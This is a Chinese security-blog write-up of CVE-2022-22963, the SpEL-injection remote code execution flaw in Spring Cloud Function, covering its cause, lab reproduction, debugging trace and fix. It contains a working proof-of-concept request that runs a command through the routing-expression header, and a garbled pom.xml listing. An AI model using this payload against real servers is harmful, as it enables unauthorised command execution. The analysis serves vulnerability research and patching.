Spring Cloud Function远程代码执行漏洞分析( CVE-2022-22963)

admin 2025年1月13日20:03:10评论11 views字数 3265阅读10分53秒阅读模式

网安引领时代,弥天点亮未来   

Spring Cloud Function远程代码执行漏洞分析( CVE-2022-22963)
0x00写在前面
本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!
Spring Cloud Function远程代码执行漏洞分析( CVE-2022-22963)
0x01漏洞信息

Spring Cloud Function存在远程代码执行漏洞,在 Spring Cloud Function 版本 3.1.6、3.2.2 和不受支持的旧版本中,当使用路由功能时,用户可以提供特制的 SpEL 作为路由表达式,这可能导致远程代码执行和对本地资源的访问。

Spring Cloud Function远程代码执行漏洞分析( CVE-2022-22963)

Spring Cloud Function远程代码执行漏洞分析( CVE-2022-22963)
0x02影响范围

Spring Cloud Function 3.1.x<=3.1.6

Spring Cloud Function 3.2.x<=3.2.2

Spring Cloud Function远程代码执行漏洞分析( CVE-2022-22963)
0x03漏洞分析与复现

漏洞成因

该漏洞是由RoutingFunction功能导致。在Spring Cloud Function中RoutingFunction类的apply方法将请求头中的“spring.cloud.function.routing-expression”参数作为Spel表达式进行处理,造成了Spel表达式注入漏洞。

Spring Cloud Function远程代码执行漏洞分析( CVE-2022-22963)

漏洞复现及分析Spring Cloud Function远程代码执行漏洞分析( CVE-2022-22963)

1.下载漏洞环境源码

https://github.com/cckuailong/spring-cloud-function-SpEL-RCE

Spring Cloud Function远程代码执行漏洞分析( CVE-2022-22963)

2.使用IDEA mave进行打包调试, pom文件如下

<project xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://maven.apache.org/POM/4.0.0" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">4.0.0io.spring.samplefunction-sample-pojo3.2.1.RELEASEjarfunction-sample-pojoSpring Cloud Function Web Supportorg.springframework.bootspring-boot-starter-parent3.0.0-SNAPSHOT3.2.1-SNAPSHOT1.0.27.RELEASEorg.springframework.cloudspring-cloud-starter-function-webfluxorg.springframework.bootspring-boot-configuration-processortrueorg.springframework.bootspring-boot-starter-testtestorg.springframework.cloudspring-cloud-function-dependencies${spring-cloud-function.version}pomimportorg.apache.maven.pluginsmaven-deploy-plugintrueorg.springframework.bootspring-boot-maven-pluginorg.springframework.boot.experimentalspring-boot-thin-layout${wrapper.version}maven-surefire-plugin**/*Tests.java**/*Test.java**/Abstract*.javaspring-snapshotsSpring Snapshotshttps://repo.spring.io/libs-snapshot-localrl>truefalsespring-milestonesSpring Milestoneshttps://repo.spring.io/libs-milestone-localrl>falsespring-releasesSpring Releaseshttps://repo.spring.io/releaserl>falsespring-snapshotsSpring Snapshotshttps://repo.spring.io/libs-snapshot-localrl>truefalsespring-milestonesSpring Milestoneshttps://repo.spring.io/libs-milestone-localrl>falsespring-releasesSpring Releaseshttps://repo.spring.io/libs-release-localrl>false

3.修改spring默认端口8080,防止端口冲突这里因情况而定.可编辑application.properties修改。

Spring Cloud Function远程代码执行漏洞分析( CVE-2022-22963)

4.运行环境进行RCE复现

1、启动漏洞环境

Spring Cloud Function远程代码执行漏洞分析( CVE-2022-22963)

2、访问地址

http://10.211.55.7:8090/

Spring Cloud Function远程代码执行漏洞分析( CVE-2022-22963)

3、复现RCE命令执行

POST /functionRouter HTTP/1.1Host: 10.211.55.7:8090User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Accept-Encoding: gzip, deflateAccept: */*Connection: keep-alivespring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc")Accept-Language: enContent-Type: application/x-www-form-urlencodedContent-Length: 4

Spring Cloud Function远程代码执行漏洞分析( CVE-2022-22963)

5.漏洞分析Spring Cloud Function远程代码执行漏洞分析( CVE-2022-22963)

1、根据漏洞原理及官方测试用例可以知晓漏洞触发点在http header中spring.cloud.function.routing-expression字段。

首先找到在FunctionController.java 文件,在FunctionWrapper设置断点进行调试

Spring Cloud Function远程代码执行漏洞分析( CVE-2022-22963)

2.然后进行跟进请求进入到apply方法,接着调用了route方法,通过判断特定的消息头信息是否为空,如果不为空则调用functionFromExpression方法。

Spring Cloud Function远程代码执行漏洞分析( CVE-2022-22963)

3.传参来自请求头中 spring.cloud.function.routing-expression 的值

Spring Cloud Function远程代码执行漏洞分析( CVE-2022-22963)

4.继续跟进调试

Spring Cloud Function远程代码执行漏洞分析( CVE-2022-22963)

5.到functionFromExpression中,即调用Expression对传入的SPEL表达式进行解析,随后调用expression.getValue执行命令

Spring Cloud Function远程代码执行漏洞分析( CVE-2022-22963)

Spring Cloud Function远程代码执行漏洞分析( CVE-2022-22963)
0x04修复建议

在修复版本中对header使用SimpleEvaluationContext进行安全处理

Spring Cloud Function远程代码执行漏洞分析( CVE-2022-22963)

目前官方已有可更新版本

3.1.7

3.2.3

Spring Cloud Function远程代码执行漏洞分析( CVE-2022-22963)
0x05参考链接

https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f#diff-74927ccf09f812b7124a2ff381cd17c075bbe31296412ce7c3adf569f08a8aab

https://mp.weixin.qq.com/s/2gKqp3YJtZJ7MMtbkHhOBA

https://mp.weixin.qq.com/s/BaXS6I1o0YUt8Npe--Mpbg

Spring Cloud Function远程代码执行漏洞分析( CVE-2022-22963)

知识分享完了

喜欢别忘了关注我们哦~

学海浩茫,
予以风动,
必降弥天之润!

   弥  天

安全实验室

Spring Cloud Function远程代码执行漏洞分析( CVE-2022-22963)

原文始发于微信公众号(弥天安全实验室):Spring Cloud Function远程代码执行漏洞分析( CVE-2022-22963)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月13日20:03:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Spring Cloud Function远程代码执行漏洞分析( CVE-2022-22963)https://cn-sec.com/archives/1086778.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息